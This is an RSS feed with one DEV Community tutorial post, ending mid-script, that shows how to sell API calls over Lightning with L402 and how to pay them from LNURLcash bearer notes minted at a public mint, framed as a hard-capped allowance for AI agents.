<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: The Crypto Donkey</title>
    <description>The latest articles on DEV Community by The Crypto Donkey (@thecryptodonkey).</description>
    <link>https://dev.to/thecryptodonkey</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3842207%2F6826917e-7459-4b84-a8de-1ac35ab47802.png</url>
      <title>DEV Community: The Crypto Donkey</title>
      <link>https://dev.to/thecryptodonkey</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/thecryptodonkey"/>
    <language>en</language>
    <item>
      <title>I gave an AI agent money without giving it a wallet. It is just a string.</title>
      <dc:creator>The Crypto Donkey</dc:creator>
      <pubDate>Fri, 21 Aug 2026 11:44:29 +0000</pubDate>
      <link>https://dev.to/thecryptodonkey/i-gave-an-ai-agent-money-without-giving-it-a-wallet-it-is-just-a-string-1c1f</link>
      <guid>https://dev.to/thecryptodonkey/i-gave-an-ai-agent-money-without-giving-it-a-wallet-it-is-just-a-string-1c1f</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;An LNURLcash bearer note is a 32 byte secret. Whoever holds the string holds the money. That makes it the cleanest allowance I have found for an autonomous agent: hand it a note worth 100 sats and it cannot spend 101, because the bound is the asset rather than a policy you hope something enforces.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What you can actually do with it.&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Sell API calls for a twentieth of a penny&lt;/strong&gt;, to callers who never sign up for anything. Thirty lines in front of your existing API, about fifteen minutes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Give an AI agent a spending limit it cannot argue its way past.&lt;/strong&gt; Not a config value it might talk you into raising. It holds 100 sats, so it can spend 100 sats.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pay for things from a shell script.&lt;/strong&gt; No wallet, no account, five HTTP GETs and one secret to keep hold of.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Take custody of money with two random numbers and a GET.&lt;/strong&gt; No wallet, no account, no signup, nothing beyond &lt;code&gt;curl&lt;/code&gt; and &lt;code&gt;openssl&lt;/code&gt;. The faucet that ran with this post has finished, but the ceremony at the end works against any LNURLcash mint.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This post builds both halves on your own machine, with real mainnet sats:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. a paid API, on localhost, that charges 21 sats a call&lt;/span&gt;
node server.mjs

&lt;span class="c"&gt;# 2. a bearer note, minted from a public mint&lt;/span&gt;
curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://moneyer.dev/.well-known/lnurlp/mint

&lt;span class="c"&gt;# 3. pay your own API with the note. no wallet involved.&lt;/span&gt;
&lt;span class="nv"&gt;NOTE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;64 hex&amp;gt; node pay.mjs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Total cost, 3 sats in fees, and the 21 sats you spend land back in your own wallet because you are the merchant. You need Node 22 or newer, a Lightning wallet, and around 100 sats. No account, no signup, no KYC, and no card network deciding whether a twentieth of a penny is a transaction worth having.&lt;/p&gt;

&lt;h2&gt;
  
  
  The hard part was never the payment
&lt;/h2&gt;

&lt;p&gt;Paying for things over Lightning has been solved for years. The awkward part is giving something &lt;em&gt;else&lt;/em&gt; the ability to pay, when that something is a loop you started and walked away from.&lt;/p&gt;

&lt;p&gt;An API key means an account, a card on file, and a signup you cannot automate. A wallet connection means handing over a credential that can spend everything behind it, then trusting a budget setting to hold the line. A bearer note inverts it: the money is the credential, and there is nothing to revoke because there is nothing to authorise. The note either has 100 sats left in it or it does not.&lt;/p&gt;

&lt;p&gt;Which is to say it behaves like cash. Cash is the only money we trust a child with, for exactly this reason: you do not hand a ten year old your card and configure a spending limit. You hand them a fiver.&lt;/p&gt;

&lt;p&gt;The analogy breaks in three places, and the first two cost real money.&lt;/p&gt;

&lt;p&gt;A banknote cannot be copied. A 32 byte secret can. Send one to somebody while keeping a copy and you are both holding the same money until one of you spends it, at which point the other holds a dead string. Not a smaller note, a dead one: the change is minted under a secret only the spender knows. Cash intuition says a thing you still possess is still yours, and here that is false.&lt;/p&gt;

&lt;p&gt;A banknote is a claim on nobody. A note is a claim on whoever runs the mint, which here is me. Cash in your pocket survives my going out of business. A note does not.&lt;/p&gt;

&lt;p&gt;And cash is unwatched, where a note is watched by exactly one party. There is no blinding, and a split hands the mint the parent secret and both child hashes in one request, so it can follow a note through every split it undergoes. It saw the payment that created the note and it pays the invoice you melt into. It never learns your name and never asks: pseudonymous, not anonymous. Strong against everybody except the mint, weak against the mint.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/dni/lnurl-mint" rel="noopener noreferrer"&gt;LNURLcash&lt;/a&gt; is dni's draft for exactly this, built on plain LUD-03 and LUD-06 rather than a new protocol. A mint's node holds the sats. Whoever knows a note's secret owns its value. There is no blinding, no keysets, no proof selection, no reconciling a wallet full of denominations. What there is instead is a new secret after every single spend, which is the one thing you have to keep hold of.&lt;/p&gt;

&lt;p&gt;A note is also a link, &lt;code&gt;lnurlw://mint…/w?k1=&amp;lt;the secret&amp;gt;&lt;/code&gt;, and the link is the money, like a gift card scratch code for Bitcoin. You can text it, print it as a QR code, or read it out loud (please do not read it out loud). Four verbs cover everything a cashier can do with it:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;You want to&lt;/th&gt;
&lt;th&gt;The verb&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;break a £20 into two £10s&lt;/td&gt;
&lt;td&gt;split&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;combine shrapnel into one note&lt;/td&gt;
&lt;td&gt;merge&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;swap a note for a fresh secret&lt;/td&gt;
&lt;td&gt;rotate&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;cash out to any Lightning wallet&lt;/td&gt;
&lt;td&gt;melt&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The entire spend path is five HTTP GETs, which is the part I want to show you.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why not Cashu
&lt;/h3&gt;

&lt;p&gt;The obvious question, since Cashu has done bearer ecash on Lightning for years, with the unlinkability this lacks. The answer is reach. A note is an ordinary LUD-03 &lt;code&gt;withdrawRequest&lt;/code&gt;, so wallets that have never heard of LNURLcash already accept one: a note claims straight into Zeus, Phoenix, Alby or Wallet of Satoshi. A Cashu token needs a Cashu wallet first, and "first install this" is where most people stop. Spending needs nothing beyond sha256 and a random number generator, and there is less to get wrong: no proof selection, no denominations, no keyset rotation, so the class of bug where a client quietly destroys value has fewer members in it.&lt;/p&gt;

&lt;p&gt;The cost is the privacy described above, plus the years of review Cashu has had and this has not. If you need unlinkability, use Cashu. If you need a note anyone can already receive and a program can spend with &lt;code&gt;fetch&lt;/code&gt;, this is the trade.&lt;/p&gt;

&lt;h2&gt;
  
  
  Part 1: a paid API in 30 lines
&lt;/h2&gt;

&lt;p&gt;The API charges 21 sats for a number between one and six. It is a terrible product. That is the point: nothing here is specific to what you are selling.&lt;/p&gt;

&lt;p&gt;Install:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm init &lt;span class="nt"&gt;-y&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; npm pkg &lt;span class="nb"&gt;set type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;module
npm &lt;span class="nb"&gt;install &lt;/span&gt;express @forgesworn/toll-booth
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;server.mjs&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;Booth&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@forgesworn/toll-booth&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;nwcBackend&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;@forgesworn/toll-booth/backends/nwc&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="c1"&gt;// The API. It knows nothing about payments.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;api&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/dice&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;roll&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;floor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}))&lt;/span&gt;
&lt;span class="nx"&gt;api&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4444&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;// The gate in front of it.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;booth&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Booth&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;adapter&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;backend&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;nwcBackend&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;nwcUrl&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NWC_URI&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
  &lt;span class="na"&gt;pricing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/dice&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="na"&gt;upstream&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://localhost:4444&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;defaultInvoiceAmount&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;strictPricing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;rootKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ROOT_KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;dbPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./toll-booth.db&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/invoice-status/:paymentHash&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;booth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;invoiceStatusHandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/create-invoice&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;booth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;createInvoiceHandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;booth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;middleware&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;paywall on http://localhost:3000&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://github.com/forgesworn/toll-booth" rel="noopener noreferrer"&gt;toll-booth&lt;/a&gt; is L402 middleware: it mints the macaroon, creates the invoice, and proxies to your API once the caller has paid. The backend is the only line that cares where your sats live. Five ship with it (phoenixd, LND, CLN, LNbits, &lt;a href="https://github.com/nostr-protocol/nips/blob/master/47.md" rel="noopener noreferrer"&gt;NWC&lt;/a&gt;), and any NWC string with &lt;code&gt;make_invoice&lt;/code&gt; and &lt;code&gt;lookup_invoice&lt;/code&gt; will do, with &lt;a href="https://github.com/forgesworn/nwc-lnd-bridge" rel="noopener noreferrer"&gt;nwc-lnd-bridge&lt;/a&gt; making one from an LND node. Or write your own: a backend is two methods, so any custodial wallet with a REST API can be the till. So little is needed because L402 authenticates on the preimage itself. Your server never has to ask its own node whether it got paid, which is also why this works when the caller pays by a route your node has never heard of.&lt;/p&gt;

&lt;p&gt;Run it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;ROOT_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;openssl rand &lt;span class="nt"&gt;-hex&lt;/span&gt; 32&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;NWC_URI&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'nostr+walletconnect://...'&lt;/span&gt;
node server.mjs
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And knock on the door:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-i&lt;/span&gt; http://localhost:3000/api/dice
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If something already holds port 3000, change it in &lt;strong&gt;both&lt;/strong&gt; files, because &lt;code&gt;pay.mjs&lt;/code&gt; below defaults to the same address. Otherwise your request reaches whatever else is listening, you get a cheerful 200, and you spend a while wondering why the paywall is giving the API away. Ask me how I know.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;402&lt;/span&gt; &lt;span class="ne"&gt;Payment Required&lt;/span&gt;
&lt;span class="na"&gt;WWW-Authenticate&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;L402 macaroon="AgEKdG9sbC1ib290aAJCAACnTH6m1M8mRCWdR0WZa0NElpi0...",&lt;/span&gt;
&lt;span class="s"&gt;                       invoice="lnbc210n1p4gyyj5pp5qw5svm907k5w8..."&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is &lt;a href="https://docs.lightning.engineering/the-lightning-network/l402" rel="noopener noreferrer"&gt;L402&lt;/a&gt;: a macaroon plus an invoice. Pay the invoice, and the preimage your wallet gets back is the second half of the credential. Send both and you are in. The response body carries the same challenge as JSON, which is what our script will read.&lt;/p&gt;

&lt;h2&gt;
  
  
  Part 2: a note, for real, on mainnet
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;moneyer.dev&lt;/code&gt; is a small public LNURLcash mint I run on a dedicated box. It is deliberately tiny and explicitly experimental, so mint 100 sats for this and no more. There is a no-warranty notice on the front page and I mean it.&lt;/p&gt;

&lt;p&gt;The mint speaks LUD-06, so minting is a &lt;code&gt;payRequest&lt;/code&gt;, found at the LUD-16&lt;br&gt;
lightning-address path for &lt;code&gt;mint@moneyer.dev&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; https://moneyer.dev/.well-known/lnurlp/mint
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"tag"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"payRequest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"callback"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://moneyer.dev/p/cb"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"minSendable"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"maxSendable"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;250000000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"metadata"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"[[&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;text/plain&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;Mint an lnurlcash bearer note...&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]]"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ask the callback for an invoice, in millisatoshis:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="s1"&gt;'https://moneyer.dev/p/cb?amount=100000'&lt;/span&gt; | jq &lt;span class="nt"&gt;-r&lt;/span&gt; .pr
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pay that invoice with any wallet. Now the good bit:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The preimage of that payment is the note.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Not a receipt for the note, not a key that unlocks it. The 64 hex characters your wallet shows under payment details &lt;em&gt;are&lt;/em&gt; the bearer secret, and anyone reading them over your shoulder owns the 98 sats they are worth. Alby, Zeus, Phoenix and LNbits all show you a preimage. If yours will not, dni's serverless wallet at &lt;a href="https://dni.github.io/lnurl-wallet" rel="noopener noreferrer"&gt;dni.github.io/lnurl-wallet&lt;/a&gt; does the whole flow in the browser and keeps notes encrypted locally.&lt;/p&gt;

&lt;p&gt;One caveat that matters. The mint's node saw that preimage when it settled the invoice, which makes the mint a permanent prior holder of the note. Rotate into a fresh secret before you rely on it. Conveniently the first thing our payment script does is a split, and a split rotates: the client picks the new secrets, and the mint learns only their hashes, one-way fingerprints it can verify but never reverse.&lt;/p&gt;

&lt;p&gt;Fees, so you can check my arithmetic against your balance. The mint withholds 1 sat flat plus 0.1%, rounded up to the whole sat, so 100 sats in gives a note worth &lt;strong&gt;98 sats&lt;/strong&gt;. At this size the rounding is most of the fee: a 15 sat mint and a 23 sat mint are both charged 2 sats.&lt;/p&gt;

&lt;h2&gt;
  
  
  Part 3: pay your own API with the string
&lt;/h2&gt;

&lt;p&gt;Here is the whole thing. No dependencies beyond Node.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pay.mjs&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createHash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;randomBytes&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;node:crypto&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;API&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;http://localhost:3000/api/dice&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;MINT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://moneyer.dev&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;NOTE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NOTE&lt;/span&gt;                     &lt;span class="c1"&gt;// 64 hex characters&lt;/span&gt;

